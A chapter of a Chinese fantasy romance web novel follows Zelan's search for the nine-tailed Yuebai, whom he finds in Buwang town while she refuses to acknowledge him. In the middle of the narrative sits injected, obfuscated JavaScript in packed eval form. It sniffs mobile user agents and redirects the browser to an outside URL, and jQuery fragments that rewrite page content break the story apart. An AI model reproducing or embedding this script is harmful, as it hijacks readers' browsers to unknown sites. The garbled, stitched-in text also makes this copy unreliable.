“赤凰大人!”
八方来财,修同叩了叩铜鼎,语气似压抑着情绪,“您所说的有趣之人,不过一介凡躯,不想心智竟如此坚定!
“我以蛊术入梦,连日诱导才引他前去海滩。
“不料那九尾白玉猫横插一脚,坏我好事!此番他们有了警惕,之后下手恐将更难。
“不知赤凰大人可有其他法子,抑或其他人选?”
铜鼎中赤火和缓,起初并无反应,却在修同说出“其他人选”几字时,忽然上蹿出暴烈的赤焰,继而想起低沉的嗓音。
“呵,若心智不够坚定,那便不是他了。
“当初傲视万物的存在,如今没了轮椅就寸步难行。这世上哪还有比他更有趣的人?
“修同,本尊可将肉身暂还于你。若再失败,就同你那条蟒精主子一起神魂俱灭吧。”
*
不枉镇夜幕刚落,丹娘就准备关上院门。
近来镇上百姓都忙于葬礼,有个头疼脑热的小病也没时间来医庐寻诊,故而早些关门也不打紧。
最后一扇铺板还没架上,就被人从外推了进来。
丹娘吓了一跳,稳住那快铺板道:“哎呀谁呀,咋咋呼呼的,哪个病人力气这样大?”
“丹娘,是我,先生呢?带我去见先生!”
竟是周昀,罗丹娘忙将铺板往墙上一靠,带人进内院,路上不禁打量他风尘仆仆的模样,怪异道:“你空手来的?先生要的东西呢?”
“先不说这个!”
周昀加快步子,越过丹娘推开庄斯照的房门,没打上照面就喊道,“先生,先生出事了!泽兰醒了,带着一帮鹰人往不枉镇来,怕是要带走小白娘子!”
斯照抬眼,见周昀一脸焦急模样,放下手中毛笔道:“坐下喝口茶,慢慢说与我听。”
又看向丹娘道:“小白在哪儿?将她寻来。”
罗丹娘也跟着紧张道:“哎呀,说是去海边踩沙子了。我瞧着天快黑了,也该回来了,我去迎迎她!”
周昀猛吞一口茶水,擦了下嘴就扑通跪在庄斯照面前,满脸愧疚道:“先生,是我的错,他们威胁我若不道出玥白娘子去向,就——”
那日在琏州城南郊,周昀同往常一般去林子里拾柴,岂料被数名鹰人围攻。
为首的鹰人他认得,是十九年前捉走白檀的家伙,修为法力着实不容小觑。
单此一人,周昀就难以应对,更何况这次来的还是三个。
可南郊一战,那鹰人并未出手,只让手下擒住他,捆了手脚扔入梧桐林。
面前是白檀之墓。
墓边枯坐的少年,竟是数年不见的泽兰公子。
周昀从未想过,泽兰会提前八年醒来,更想不到他同鹰人竟是一伙的,还听到鹰人恭敬唤他“殿下”。
他们逼问白檀去向,周昀闭口不提。
没想到,看似面慈的少年蹲在他身前,轻描淡写地提了一句:“许久不见柳绿娘子,要本公子当面去问候一番吗?”
周昀顿时红了眼,杀意源源不断从眸中溢出。他试图挣断手脚上的绳索,又被身后鹰人死死扼住。
“泽兰!柳绿素来体弱,不过一介凡人,你怎可——?!”
泽兰听了,微不可察地点点头道:“是啊,故友体弱,更该问候。”
周昀肩头不可控地耸动着,他向来知晓泽兰此人非同寻常,亦非善茬,却未曾料到他会拿柳绿威胁自己。
“泽兰,你明知绿儿是白檀的好姐妹!”
“我自然知道。可若我寻不到白檀,又为何要管她什么所谓姐妹?当初帮你们寻人,不过是看在檀儿面上罢了。”
梧桐林中,光线逐渐变暗。
少年一双明眸,此刻却染上暗夜的阴翳,直勾勾盯住被强压在地的男人。
“周大哥,你我虽无深交,却也算得旧识。我不过想知道白檀去向,你这反应未免过激。
“怎么,难道有人给你下了死令,不准你透露檀儿行踪?”
周昀的下颌被摁在土中,他艰难抬头道:“白檀的墓就在你身后,你看不见吗?她为救你,以命换命,早已亡故!”
以命换命吗?
果然是她……泽兰捏紧了拳头,一拳砸在那墓碑上,碑体骤然横断。
其它细节他懒于再问,背过身轻道:“如此说来,檀儿一人在地下太孤单了,应当送位姐妹去陪陪她。”
话已至此,周昀自知没有反抗相护的余地,哪怕玉石俱焚也依旧护不住柳绿,咬咬牙才松了口。
“东南沿海,
“不枉镇。”
……
彼时,玥白叼着野果,坐在镇上一座塔楼的围栏上,两只脚脚前后晃荡着。
此处距离医庐不远,侧头就能瞥见医庐院中那棵黄花落尽的桂树,桂树后是被夕阳染红的半边天。
那野果太鲜甜了,她一共拿了三个。
方才吃完一个,下意识摸出第二个,咬了一口她才突然意识到,剩下这两个是要带给庄斯照和罗丹娘的。
吃了都吃了,留下一个也是为难。
不如偷摸着都吃了的好,假装什么事也没发生,于是她寻了个好地方边看风景边偷吃。
“娘子好生惬意,不知果子何处买的?”
“……”
玥白闻声回头,望见几步外的笑脸时,嘴里叼的果子倏而掉落。
——泽兰,你醒了!
时光恍若倒流回十九年前,寻笑坊中二人也如此刻这般四目相对。
她撞翻了他要与美人共饮的一樽玉华,被他扯住衣袖不让离去。记忆中逐渐淡却颜色的面孔,突然出现在她眼前,一如当年那般鲜活而肆意。
见她不应声,泽兰捡起滚落在地的果子,走近道:“怎么,几年不见就将本公子忘了?”
看着递来的野果,玥白犹豫着没接。
她抬眼望向来人,言语间颇是波澜不惊:“掉在地上弄脏了,还是不吃为好,多谢公子。”
“……白檀?”泽兰迟疑。
那厢少女跳下栏杆,绕过他就要下楼,眼神平静于他极是陌生。他立即拉住她的手臂道:“我是泽兰啊,你当真不记得我?”
怎会不记得?
可记得之人久别重逢,就要笑脸相迎,故作寒暄吗?玥白抚开他的手,没再瞧他一眼,独自匆匆下楼。
泽兰顿在原地。
晃神片刻便急忙追下去。
“白檀,白檀!”
“休要拽我!”
玥白刚走上大街,就被泽兰从身后拽住,拉扯间吸引了不少路人张望。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249653|154837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
镇上谁不认得那漂亮娘子是庄医师未过门的媳妇,这面生的小白脸不知打何处来的,怎就厚着脸皮缠上人家!
细细碎碎的指摘声此起彼伏。
玥白拧着眉左右一看,恼地推了泽兰一把道:“你这小郎君,实在没脸没皮!都说了我不认识你,莫再纠缠我。”
周围路人也纷纷帮腔,见玥白退开几步,几个充满正义感的青壮年就凑上来,拦在泽兰面前。
玥白见状,忙加快步子往医庐去。
被人群围拢的少年几次欲动用灵力,察觉周围全是寻常凡人,只得作罢,眼睁睁瞧着那少女忿忿离去。
他碰了碰胸口方才她推的位置——若是从前,白檀推人的力道可没那么小。
泽兰几人找了间靠近医庐的客栈住下。
经由客栈窗口可瞧见医庐一隅,泽兰就靠着窗框呆坐着,腰间酒壶里的酒已被他吞个精光。
“千里迢迢,不舍昼夜,就为这样一个结果?”藏纳提着一坛酒进屋,放在中央的圆桌上。
有那么片刻吧,泽兰也这样质问自己。
千里迢迢,不舍昼夜,究竟是为了什么?想确认她还安好?想见她生龙活虎的模样?想看她好似娇嗔实则愠怒地追着他打的画面?
想着想着,他不自觉笑出声来。
她的确安好,的确生龙活虎,也的确生气地推了他一把。不论怎样,都是他想要看到的样子,所以那短暂片刻的质疑迅速烟消云散。
只不过,不肯认他这事有点麻烦。
泽兰转头,将空空如也的酒壶丢给藏纳,笑得轻松道:“结果还算不错。装满!”
“既然见过想见之人,接下来有什么打算?”
“没什么打算啊~今日在镇上逛了逛,人少了些倒也清静,不如住上几日休养生息。倒是你啊——”
泽兰望过去,“你偏跟着我作甚?半截身子入了土的,不回你鹰族部落好好将养!死在外头,可没人帮你送终。”
藏纳失笑,将装满的酒壶盖上送回泽兰手中。
他自觉另外半截身子也早该入土,既然还有些时日可活,不如做些自己想做的事。如今,骁鹰卫中他的族人,皆已叛离大蜀回到部落。藏纳现下唯一放不下的,就是这位小殿下了。
又闲聊几句,泽兰莫名指着自己的胸口道:“来,捶我两下。”
藏纳:?
泽兰催道:“过来啊,怎么,伤不全好就连揍人都不会了?过来!”
话音刚落,重拳落下。
少年滚下窗台,捂着胸猛咳两声,几乎觉得体内有血倒流,他胀红着脸抬眼道:“你不是受着重伤吗?拳头怎么这么重啊!”
藏纳单膝跪下,垂眼抱拳道:“属下虽有伤在身,拳脚施力倒也不算难事。不知殿下这是?”
是啊,就算受伤,基本的拳脚力道还是有的。泽兰陷入沉思,他扒着窗台站起身,视线转向不远处的医庐。
——白檀啊白檀,为何你推我那一下,真如凡人般力弱?是以命换命时伤的元气,一直未能恢复吗?
——你是不是在怪我?怪我叫你变成如今模样,所以才佯作不认得我?
泽兰叹了口气。
庄斯照那凡人庸医,果然无法医治白檀这样的九尾灵体。若能将她带回王庭,或许……